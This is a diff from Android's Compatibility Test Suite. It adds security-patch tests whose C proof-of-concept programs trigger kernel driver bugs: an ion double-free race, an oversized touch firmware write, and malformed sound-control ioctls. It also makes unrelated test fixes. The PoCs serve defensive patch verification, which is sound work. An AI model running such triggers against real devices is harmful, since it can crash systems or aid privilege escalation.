+    val.id.device = 0x400;
+    val.id.subdevice = 0x7;
+    memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
+    val.id.index = 4;
+    val.value.integer.value[0] = 0x30;
+    int fd = open("/dev/snd/controlC0", O_RDWR);
+    ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
new file mode 100644
index 0000000..91d154c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := CVE-2017-0564
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
new file mode 100644
index 0000000..6867562
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
new file mode 100644
index 0000000..7734d4c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <stdio.h>
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <linux/ion.h>
+
+#define ION_HEAP(bit) (1 << (bit))
+
+enum ion_heap_ids {
+    INVALID_HEAP_ID = -1,
+    ION_CP_MM_HEAP_ID = 8,
+    ION_SECURE_HEAP_ID = 9,
+    ION_SECURE_DISPLAY_HEAP_ID = 10,
+    ION_CP_MFC_HEAP_ID = 12,
+    ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+    ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+    ION_SYSTEM_CONTIG_HEAP_ID = 21,
+    ION_ADSP_HEAP_ID = 22,
+    ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+    ION_SF_HEAP_ID = 24,
+    ION_SYSTEM_HEAP_ID = 25,
+    ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+    ION_QSECOM_HEAP_ID = 27,
+    ION_AUDIO_HEAP_ID = 28,
+    ION_MM_FIRMWARE_HEAP_ID = 29,
+    ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+static unsigned int ion_type[] = {
+    ION_HEAP(ION_CP_MM_HEAP_ID),
+    ION_HEAP(ION_CP_MFC_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
+    ION_HEAP(ION_ADSP_HEAP_ID ),
+    ION_HEAP(ION_SF_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_HEAP_ID),
+    ION_HEAP(ION_QSECOM_HEAP_ID),
+    ION_HEAP(ION_AUDIO_HEAP_ID),
+};
+
+#define NEW_ION
+int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
+{
+    int ret;
+    struct ion_allocation_data req = {
+        .len = len,
+#ifdef NEW_ION
+        .heap_id_mask = ion_type,
+        //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
+        .flags = (1 << 0),
+        .flags = 0x0,
+#else
+        .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
+#endif
+        .align = len,
+    };
+
+    ret = ioctl(fd, ION_IOC_ALLOC, &req);
+    if (ret) {
+        return ret;
+    }
+
+    *hdl = req.handle;
+
+    return 0;
+}
+
+int ion_free(int fd, int hdl)
+{
+    int ret;
+    struct ion_handle_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_FREE, &req);
+    if (ret) {
+        return ret;
+    }
+
+    return 0;
+}
+
+int ion_map(int fd, int hdl)
+{
+    int ret;
+    struct ion_fd_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_MAP, &req);
+    if (ret) {
+        return ret;
+   }
+
+   return req.fd;
+}
+
+int ion_fd;
+int ion_handle;
+int status[2];
+int cmd = 0;
+
+void *threadForIonFree01()
+{
+    status[0] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if (cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[0] = 2;
+    return NULL;
+}
+
+
+void *threadForIonFree02()
+{
+    status[1] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if(cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[1] = 2;
+    return NULL;
+}
+
+int main()
+{
+    int ret, i, count;
+    pthread_t tid_free[2];
+
+    count = 0;
+retry:
+    status[0] = 0;
+    status[1] = 0;
+    cmd = 0;
+    ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
+    if (ion_fd < 0) {
+	return -1;
+    }
+
+    for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
+        ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
+        if (ret == 0) {
+            break;
+        }
+    }
+
+    if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
+    if (ret != 0) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
+    if (ret != 0) {
+        cmd = -1;
+        goto failed;
+    }
+
+    while (status[0] != 1 || status[1] != 1) {
+        usleep(50);
+    }
+
+    cmd = 1;
+    ret = ion_map(ion_fd, ion_handle);
+
+    while (status[0] != 2 || status[1] != 2) {
+        usleep(50);
+    }
+
+failed:
+    ion_free(ion_fd,ion_handle);
+    close(ion_fd);
+    goto retry;
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
new file mode 100644
index 0000000..0ef89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0577
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
new file mode 100644
index 0000000..42455be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int test_touch_fwu(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name, O_RDWR);
+
+    if (fd < 0)	{
+	return -1;
+    }
+
+    size_t buf_len = 0xfffff;
+    char* buf = (char*) malloc(buf_len);
+    if (buf == NULL ) {
+	return -1;
+    }
+
+    int ret = 0;
+    ret = write(fd, buf, buf_len);
+    free(buf);
+    return ret;
+}
+
+int main()
+{
+    test_touch_fwu();
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
new file mode 100644
index 0000000..9d1d3d17
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-7369
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.c
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
new file mode 100644
index 0000000..c18936c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
@@ -0,0 +1,236 @@
+/**

+ * Copyright (C) 2017 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+#define _GNU_SOURCE

+

+#include <string.h>

+#include <stdio.h>

+#include <stdlib.h>

+#include <sys/ioctl.h>

+#include <sys/ptrace.h>

+#include <errno.h>

+#include <sys/syscall.h>

+#include <sys/prctl.h>

+#include <stdint.h>

+#include <sys/stat.h>

+#include <sys/mman.h>

+#include <linux/fb.h>

+#include <dlfcn.h>

+#include <sys/socket.h>

+#include <fcntl.h>

+#include <signal.h>

+#include <unistd.h>

+#include <sound/asound.h>

+#include <sys/types.h>

+#include <sys/wait.h>

+

+#define MAXNUM 94

+#define MAXPCMOP 25

+#define MAXELE 16384

+

+char* CONTBL[MAXNUM]={

+    "comprC0D17",

+    "comprC0D18",

+    "comprC0D37",

+    "comprC0D38",

+    "comprC0D39",

+    "comprC0D40",

+    "comprC0D41",

+    "comprC0D42",

+    "comprC0D9",

+    "controlC0",

+    "hwC0D10",

+    "hwC0D1000",

+    "hwC0D11",

+    "hwC0D12",

+    "hwC0D13",

+    "hwC0D14",

+    "hwC0D15",

+    "hwC0D16",

+    "hwC0D2",

+    "hwC0D20",

+    "hwC0D21",

+    "hwC0D22",

+    "hwC0D24",

+    "hwC0D25",

+    "hwC0D26",

+    "hwC0D3",

+    "hwC0D30",

+    "hwC0D31",

+    "hwC0D35",

+    "hwC0D36",

+    "hwC0D37",

+    "hwC0D39",

+    "hwC0D40",

+    "hwC0D45",

+    "hwC0D7",

+    "hwC0D8",

+    "hwC0D9",

+    "pcmC0D0c",

+    "pcmC0D0p",

+    "pcmC0D10c",

+    "pcmC0D10p",

+    "pcmC0D11c",

+    "pcmC0D11p",

+    "pcmC0D12c",

+    "pcmC0D12p",

+    "pcmC0D13c",

+    "pcmC0D13p",

+    "pcmC0D14c",

+    "pcmC0D14p",

+    "pcmC0D15c",

+    "pcmC0D15p",

+    "pcmC0D16c",

+    "pcmC0D19c",

+    "pcmC0D19p",

+    "pcmC0D1c",

+    "pcmC0D1p",

+    "pcmC0D20c",

+    "pcmC0D20p",

+    "pcmC0D21p",

+    "pcmC0D22c",

+    "pcmC0D22p",

+    "pcmC0D23c",

+    "pcmC0D23p",

+    "pcmC0D24c",

+    "pcmC0D24p",

+    "pcmC0D25c",

+    "pcmC0D26p",

+    "pcmC0D27c",

+    "pcmC0D28c",

+    "pcmC0D29c",

+    "pcmC0D2c",

+    "pcmC0D2p",

+    "pcmC0D30c",

+    "pcmC0D31c",

+    "pcmC0D32c",

+    "pcmC0D33c",

+    "pcmC0D34c",

+    "pcmC0D35c",

+    "pcmC0D35p",

+    "pcmC0D36c",

+    "pcmC0D36p",

+    "pcmC0D3c",

+    "pcmC0D3p",

+    "pcmC0D43c",

+    "pcmC0D44c",

+    "pcmC0D44p",

+    "pcmC0D45c",

+    "pcmC0D45p",

+    "pcmC0D4p",

+    "pcmC0D5c",

+    "pcmC0D5p",

+    "pcmC0D6c",

+    "pcmC0D7p",

+    "pcmC0D8c"

+};

+

+ char* OPPCM[MAXPCMOP]={

+    "/dev/snd/pcmC0D0p",

+    "/dev/snd/pcmC0D10p",

+    "/dev/snd/pcmC0D11p",

+    "/dev/snd/pcmC0D12p",

+    "/dev/snd/pcmC0D13p",

+    "/dev/snd/pcmC0D14p",

+    "/dev/snd/pcmC0D15p",

+    "/dev/snd/pcmC0D19p",

+    "/dev/snd/pcmC0D1p",

+    "/dev/snd/pcmC0D20p",

+    "/dev/snd/pcmC0D21p",

+    "/dev/snd/pcmC0D22p",

+    "/dev/snd/pcmC0D23p",

+    "/dev/snd/pcmC0D24p",

+    "/dev/snd/pcmC0D2p",

+    "/dev/snd/pcmC0D32p",

+    "/dev/snd/pcmC0D33p",

+    "/dev/snd/pcmC0D3p",

+    "/dev/snd/pcmC0D40p",

+    "/dev/snd/pcmC0D41p",

+    "/dev/snd/pcmC0D44p",

+    "/dev/snd/pcmC0D47p",

+    "/dev/snd/pcmC0D4p",

+    "/dev/snd/pcmC0D5p",

+    "/dev/snd/pcmC0D7p"

+};

+

+void poc(char* name)

+{

+    int fd, ret, cmd, index,pcmfd, i;

+    char dev[36]={0};

+    snprintf(dev, sizeof(dev),"/dev/snd/%s", name);

+    fd = open(dev, O_RDWR);

+    if (fd < 0) 

+    {

+        return;

+    }

+

+    cmd = SNDRV_CTL_IOCTL_CARD_INFO;

+    struct snd_ctl_card_info info;

+    ret = ioctl(fd, cmd, &info);

+

+    struct snd_ctl_elem_list lst;

+    struct snd_ctl_elem_value control;

+    memset(&lst, 0, sizeof(lst));

+    lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));

+    lst.space = MAXELE;

+    cmd = SNDRV_CTL_IOCTL_ELEM_LIST;

+    ret = ioctl(fd, cmd, &lst);

+    control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;

+

+    for(index=0;(unsigned int)index<lst.count;index++)

+    {

+        if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||

+           !strncmp((const char *)lst.pids[index].name,"left Profile",12)||

+           !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||

+           !strncmp((const char *)lst.pids[index].name, "LSM",3)||

+           !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||

+           !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||

+           !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;

+

+        control.id.numid=lst.pids[index].numid;

+        ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);

+    }

+    close(fd);

+}

+

+struct mystruct{

+    int a;

+    char* pp;

+};

+

+void freeptr(struct mystruct* p)

+{

+    unsigned char* n = (unsigned char *)p->pp;

+    n = NULL;

+    p->pp = NULL;

+    p = NULL;

+}

+

+int main()

+{

+    int i =0;

+    for(i = 0; i< MAXNUM; i++)

+    {

+        poc("controlC0");

+        break;

+    }

+    return 1;

+}

diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
index 3f4334b..3a1e78e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -21,14 +21,14 @@
 public class Poc17_04 extends SecurityTestCase {
 
     /**
-     *  b/33842951
+     *  b/33544431
      */
     @SecurityTest
-    public void testPocCVE_2017_0577() throws Exception {
+    public void testPocCVE_2017_0576() throws Exception {
 	enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
-            AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
-	}
+        if(containsDriver(getDevice(), "/dev/qce")) {
+            AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
+        }
     }
 
     /**
@@ -52,4 +52,37 @@
             AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
 	}
     }
+
+    /**
+     *  b/33842951
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0577() throws Exception {
+      enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33966912
+     */
+    @SecurityTest
+    public void testPocCVE_2016_10231() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34276203
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0564() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ion")) {
+            AdbUtils.runPoc("CVE-2017-0564", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index 7926857..e08aa9e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -53,4 +53,15 @@
             AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
         }
     }
+
+    /**
+     *  b/33751424
+     */
+    @SecurityTest
+    public void testPocCVE_2017_7369() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+          AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index d4a546b..8e65682 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -81,6 +81,7 @@
      * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
      * from docked state to fullscreen (reverse).
      */
+    @Presubmit
     public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index 972794e3..5b1935b 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -258,6 +258,7 @@
         // Get the device, this gives a handle to run commands and install APKs.
         mDevice = getDevice();
         wakeUpAndUnlockDevice();
+        pressHomeButton();
         // Remove special stacks.
         removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
         // Store rotation settings.
@@ -280,6 +281,7 @@
             // Remove special stacks.
             removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
             wakeUpAndUnlockDevice();
+            pressHomeButton();
         } catch (DeviceNotAvailableException e) {
         }
     }
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 079a0b9..e3ce544 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -60,12 +60,15 @@
         // Get a {@link Display} instance after rotation.
         final Display updatedDisplay = mActivity.getDisplay();
 
-        // Ensure that the width and height of the original instance no longer are the same. Note
-        // that this will be false if the device width and height are identical.
-        assertFalse("width from original display instance should have changed",
-                origWidth == origDisplay.getWidth());
-        assertFalse("height from original display instance should have changed",
-                origHeight == origDisplay.getHeight());
+        // For square sreens the following assertions do not make sense and will always fail.
+        if (origWidth != origHeight) {
+            // Ensure that the width and height of the original instance no longer are the same. Note
+            // that this will be false if the device width and height are identical.
+            assertFalse("width from original display instance should have changed",
+                    origWidth == origDisplay.getWidth());
+            assertFalse("height from original display instance should have changed",
+                    origHeight == origDisplay.getHeight());
+        }
 
         // Ensure that the width and height of the original instance have been updated to match the
         // values that would be found in a new instance.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 4bf751e..4b1f83e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -41,6 +41,20 @@
 import org.junit.Rule;
 import org.junit.Test;
 
+/*
+ * TODO: refactor this class.
+ *
+ * It has 2 types of tests:
+ *  1. unit tests that asserts AutofillValue methods
+ *  2. integrationg tests that uses a the InstrumentedAutofillService
+ *
+ *  The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
+ *  class that does not need to extend AutoFillServiceTestCase.
+ *
+ *  Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
+ *  redundant tests and add more tests (like triggering autofill using different views) to
+ *  CheckoutActivityTest.
+ */
 public class AutofillValueTest extends AutoFillServiceTestCase {
     @Rule
     public final ActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
@@ -145,25 +159,22 @@
     }
 
     /**
-     * Trigger autofill on a view. This might have to be tried multiple times as the service might
-     * not be completely initialized yet and therefor autofill is not enabled while the focus is
-     * changed.
+     * Trigger autofill on a view.
      *
      * @param view The view to trigger the autofill on
      */
     private void startAutoFill(@NonNull View view) throws Exception {
-        eventually(() -> {
-            mActivity.syncRunOnUiThread(() -> {
-                view.clearFocus();
-                view.requestFocus();
-            });
